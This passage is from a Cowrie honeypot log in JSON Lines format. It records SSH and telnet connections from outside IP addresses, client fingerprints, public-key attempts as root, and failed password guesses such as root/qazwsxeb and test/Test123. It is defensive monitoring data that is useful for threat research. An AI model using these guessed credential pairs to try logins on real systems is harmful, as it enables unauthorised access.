etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:03.545222Z","src_ip":"101.36.119.184","session":"1fbd5712b395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456789","message":"login attempt [minecraft/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:04.425468Z","src_ip":"101.36.119.184","session":"1fbd5712b395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:05.645587Z","src_ip":"101.36.119.184","session":"1fbd5712b395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19169,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb803d708bb5","protocol":"telnet","message":"New connection: 212.55.149.117:19169 (10.17.0.5:23) [session: cb803d708bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:06.126696Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":17121,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f9edd70abc","protocol":"telnet","message":"New connection: 212.55.149.117:17121 (10.17.0.5:23) [session: 28f9edd70abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:12.389922Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":23978,"dst_ip":"159.203.135.109","dst_port":22,"session":"377c9c6b2893","protocol":"ssh","message":"New connection: 193.24.211.100:23978 (159.203.135.109:22) [session: 377c9c6b2893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:45.564299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:45.569008Z","src_ip":"193.24.211.100","session":"377c9c6b2893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:45.678811Z","src_ip":"193.24.211.100","session":"377c9c6b2893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxeb","message":"login attempt [root/qazwsxeb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:46.205486Z","src_ip":"193.24.211.100","session":"377c9c6b2893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:47.316689Z","src_ip":"193.24.211.100","session":"377c9c6b2893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.247","src_port":39990,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40df283cd1f","protocol":"ssh","message":"New connection: 78.111.67.247:39990 (10.17.0.5:22) [session: e40df283cd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:54.670595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:54.676368Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:54.777176Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:fa:06:26:0d:03:1a:34:e0:d2:12:9f:15:91:04:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVzcO7rj0A2yLNF330BbtWqxrBdlepbSSFttIMaIk/leHaIPkEPdp6ZPiZ9wHHYkw4wBnyW4VdtlwXFPYE1ud39Fzlr/8HlaagkPkV4DsuLWHDm8nbGo0tDiMz38S99Lep3uqozZDdHhQQnkqCpnguFWLqJ5/hrI15q4OKYvCrwafQ9n4C65P1IoLtX0g91qiG4pToMjLjAFei/t9WBURsTlb3l8pBiwTvBtKGeUot8hdzSO0YgZttBpmGvjfYiNe1Kdz+BELp2LW/Vj+hk72peuo7GNNpf3dUnSnI86JP9MIwf28Mt6rG3FftUc6ZzXgcK1Zr0d3eBSnwT91JpD79","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:fa:06:26:0d:03:1a:34:e0:d2:12:9f:15:91:04:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.237940Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:fa:06:26:0d:03:1a:34:e0:d2:12:9f:15:91:04:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVzcO7rj0A2yLNF330BbtWqxrBdlepbSSFttIMaIk/leHaIPkEPdp6ZPiZ9wHHYkw4wBnyW4VdtlwXFPYE1ud39Fzlr/8HlaagkPkV4DsuLWHDm8nbGo0tDiMz38S99Lep3uqozZDdHhQQnkqCpnguFWLqJ5/hrI15q4OKYvCrwafQ9n4C65P1IoLtX0g91qiG4pToMjLjAFei/t9WBURsTlb3l8pBiwTvBtKGeUot8hdzSO0YgZttBpmGvjfYiNe1Kdz+BELp2LW/Vj+hk72peuo7GNNpf3dUnSnI86JP9MIwf28Mt6rG3FftUc6ZzXgcK1Zr0d3eBSnwT91JpD79","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.242286Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:0e:7a:f6:28:e1:6c:46:f3:dd:1b:ea:69:94:46:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBkYx6fx2rehgfuCrmhJzXbOOEYY+Vd2/Mg3w5H3IPPGAnNI+qViE3vgOewXAZZT6xCKCuoGuOPfHKYXYwhZp3J16QH0fL82kjPtwPd9p4DB4IiCT4Qi0EcM3qbZHKiESpDit+cBKR68bICS1vawtfURoXNaZHi0EgYY46TtdpvIhGIYHWmc5uA0U28t4PHxsihcIVqJUYU6WXIEESmd+rW9xyErHJfTCuLGgIOIb75zoph7OAsFk9UZCYAOCcU5sjRo8isNwrArAEyK56mhZio1ef6CXbE1RGn7JZlKrrPVCDqf4fG9hhryvs3hvZf4ORF1mzMRfxl5b70tF8WwxN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:0e:7a:f6:28:e1:6c:46:f3:dd:1b:ea:69:94:46:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.339922Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:0e:7a:f6:28:e1:6c:46:f3:dd:1b:ea:69:94:46:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBkYx6fx2rehgfuCrmhJzXbOOEYY+Vd2/Mg3w5H3IPPGAnNI+qViE3vgOewXAZZT6xCKCuoGuOPfHKYXYwhZp3J16QH0fL82kjPtwPd9p4DB4IiCT4Qi0EcM3qbZHKiESpDit+cBKR68bICS1vawtfURoXNaZHi0EgYY46TtdpvIhGIYHWmc5uA0U28t4PHxsihcIVqJUYU6WXIEESmd+rW9xyErHJfTCuLGgIOIb75zoph7OAsFk9UZCYAOCcU5sjRo8isNwrArAEyK56mhZio1ef6CXbE1RGn7JZlKrrPVCDqf4fG9hhryvs3hvZf4ORF1mzMRfxl5b70tF8WwxN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.343986Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:ac:a2:46:ae:0d:c9:98:39:f4:15:7d:2c:5c:5d:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnzA3sw8asZMjPjlsy1uOP/5Lt6J4S0UZOMCJdT0mxkdAtdfoC+8e+zxqyqa/68IksQCQYh/TzCkJfCVuCOFZN/kOyjuexdaU6MgSvyX2ygwP4479MUcIJ1qIuMDQ0XJSQ77QHxjOkhR7Vcz5LW8mJp5Q/xtxRMVEThJkheAsar4f9FvlJFuvruFpKwGSvOwW5Vl6Bg7oJHmPx2qlqYBd/lYjyBPOLQ1tbkye78iCU38//G6/atXYZs+LrcuiNXvFSBK5YdTGodK3pK4+CKqwzYzgwpF1O4tXQBXeJAjnZdA+KUPPPcE5/DeKHiXVgF6w6gONVN/m8MGRaV9wiGLK1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:ac:a2:46:ae:0d:c9:98:39:f4:15:7d:2c:5c:5d:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.441778Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:ac:a2:46:ae:0d:c9:98:39:f4:15:7d:2c:5c:5d:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnzA3sw8asZMjPjlsy1uOP/5Lt6J4S0UZOMCJdT0mxkdAtdfoC+8e+zxqyqa/68IksQCQYh/TzCkJfCVuCOFZN/kOyjuexdaU6MgSvyX2ygwP4479MUcIJ1qIuMDQ0XJSQ77QHxjOkhR7Vcz5LW8mJp5Q/xtxRMVEThJkheAsar4f9FvlJFuvruFpKwGSvOwW5Vl6Bg7oJHmPx2qlqYBd/lYjyBPOLQ1tbkye78iCU38//G6/atXYZs+LrcuiNXvFSBK5YdTGodK3pK4+CKqwzYzgwpF1O4tXQBXeJAjnZdA+KUPPPcE5/DeKHiXVgF6w6gONVN/m8MGRaV9wiGLK1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.446108Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":55714,"dst_ip":"10.17.0.5","dst_port":22,"session":"00656a1f1d44","protocol":"ssh","message":"New connection: 101.36.119.184:55714 (10.17.0.5:22) [session: 00656a1f1d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.451964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.458463Z","src_ip":"101.36.119.184","session":"00656a1f1d44","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:c3:00:6d:87:55:c8:26:53:e9:ad:79:5f:1a:ce:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnCblhHMkfgNIOMITlVqFzuGbaU/NDaifU0Gvemiu6yhPYAvpmIjarK2Ya/zP4QK/WlGXvnooI0/UCdCZG/mQMtsijYk5pfz+mxbv7kD+JX2ua6MW13VXBx0PZX7KqNje6Pvjom9cH4seHa+IQAuy2x1dnADnP8ngfZ5WYDYAJmPmoMY+7TZB4hyD9cR1DtOtddfySrActaeeSlaD8Yd+NmdOhIZmfA8ghvf4J2cVMzooZW5kwSJe2u3+O/GliHHNHVh044agaKGH6TrX28Gz0rElEwgdwXIx2ifdpV6g8PquRjv4RNophj+evIcc28N0Jm5j/v+pCvvurl/WYXIhsBArJpbGCtSzzf5W2Od07cOT9ZeiRizf8N/8hSbvnElSwnGGnpZq5pjSQ9oYhdT+2HyxOg4BseDAiijmYDlCaiv3PSlJTOabpX73DZABocHs1bWDoYh6t4/OqMYZsaynYhkRjj8GMHE4qun7bInxFDoavQyFnU1FQR73DQTmGO0xIr7P/Wl7eL7g8iSMM439ELBwAjkF8r5LbBKiF1+efPUTRKQ6uz033ZltfNq3JgVC3F9K4wjdkBdo9GvQUz5dIL0mhcGE9i/+oiQUthK2tgaAUAvSqqtsK82EizfqTE6Lt7UeWJuPu4xfJf6x1g8SVW6HNTvDk72WHa9hETcjpMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:c3:00:6d:87:55:c8:26:53:e9:ad:79:5f:1a:ce:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.543924Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:c3:00:6d:87:55:c8:26:53:e9:ad:79:5f:1a:ce:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnCblhHMkfgNIOMITlVqFzuGbaU/NDaifU0Gvemiu6yhPYAvpmIjarK2Ya/zP4QK/WlGXvnooI0/UCdCZG/mQMtsijYk5pfz+mxbv7kD+JX2ua6MW13VXBx0PZX7KqNje6Pvjom9cH4seHa+IQAuy2x1dnADnP8ngfZ5WYDYAJmPmoMY+7TZB4hyD9cR1DtOtddfySrActaeeSlaD8Yd+NmdOhIZmfA8ghvf4J2cVMzooZW5kwSJe2u3+O/GliHHNHVh044agaKGH6TrX28Gz0rElEwgdwXIx2ifdpV6g8PquRjv4RNophj+evIcc28N0Jm5j/v+pCvvurl/WYXIhsBArJpbGCtSzzf5W2Od07cOT9ZeiRizf8N/8hSbvnElSwnGGnpZq5pjSQ9oYhdT+2HyxOg4BseDAiijmYDlCaiv3PSlJTOabpX73DZABocHs1bWDoYh6t4/OqMYZsaynYhkRjj8GMHE4qun7bInxFDoavQyFnU1FQR73DQTmGO0xIr7P/Wl7eL7g8iSMM439ELBwAjkF8r5LbBKiF1+efPUTRKQ6uz033ZltfNq3JgVC3F9K4wjdkBdo9GvQUz5dIL0mhcGE9i/+oiQUthK2tgaAUAvSqqtsK82EizfqTE6Lt7UeWJuPu4xfJf6x1g8SVW6HNTvDk72WHa9hETcjpMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.547725Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:e5:89:f7:10:1e:d7:32:ec:b5:ec:ec:9c:53:58:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxhHdK58/1nzYZnsyMuqP4dDQFgViGhbg7Hheg9Trd55LRwLJJTdKq6EtK3SxDS8tONvItgWhBO0QbVB6BJSXt7au3AHJKzejhSXt3y4/S6go1O6rkD/nM/j5DVXHSdogMvc1kkYjhZ6/7mfBw/jh4GUVep/xFInA1OuY2ymbPrqeRdyn48qb5dpkTDTzM25gbsqb0bZfMdh64GkpeZIJPwLni8rr5XfALCnbRypqWOZ5ZqsoUjUzX9RpcWC5N6SfhZaUeYyHp8lOOWdyj/3M87Mqv4WQQI01Z9HjwVFtBf0bbcHnLRYCBEKUgAWticx++Dbx3tbAlts5nXm7kivW5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:e5:89:f7:10:1e:d7:32:ec:b5:ec:ec:9c:53:58:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.646382Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:e5:89:f7:10:1e:d7:32:ec:b5:ec:ec:9c:53:58:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxhHdK58/1nzYZnsyMuqP4dDQFgViGhbg7Hheg9Trd55LRwLJJTdKq6EtK3SxDS8tONvItgWhBO0QbVB6BJSXt7au3AHJKzejhSXt3y4/S6go1O6rkD/nM/j5DVXHSdogMvc1kkYjhZ6/7mfBw/jh4GUVep/xFInA1OuY2ymbPrqeRdyn48qb5dpkTDTzM25gbsqb0bZfMdh64GkpeZIJPwLni8rr5XfALCnbRypqWOZ5ZqsoUjUzX9RpcWC5N6SfhZaUeYyHp8lOOWdyj/3M87Mqv4WQQI01Z9HjwVFtBf0bbcHnLRYCBEKUgAWticx++Dbx3tbAlts5nXm7kivW5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.650275Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.676870Z","src_ip":"101.36.119.184","session":"00656a1f1d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:55.747605Z","src_ip":"78.111.67.247","session":"e40df283cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test123","message":"login attempt [test/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:56.583416Z","src_ip":"101.36.119.184","session":"00656a1f1d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:49:57.804796Z","src_ip":"101.36.119.184","session":"00656a1f1d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.682530641555786,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:07.809096Z","src_ip":"212.55.149.117","session":"cb803d708bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.0112886428833,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:16.401051Z","src_ip":"212.55.149.117","session":"28f9edd70abc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:16.956762Z","src_ip":"14.103.117.173","session":"ca9daa6777b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":59298,"dst_ip":"10.17.0.5","dst_port":22,"session":"3357f6800fae","protocol":"ssh","message":"New connection: 189.46.1.73:59298 (10.17.0.5:22) [session: 3357f6800fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:42.504699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:50:42.528362Z","src_ip":"189.46.1.73","session":"3357f6800fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac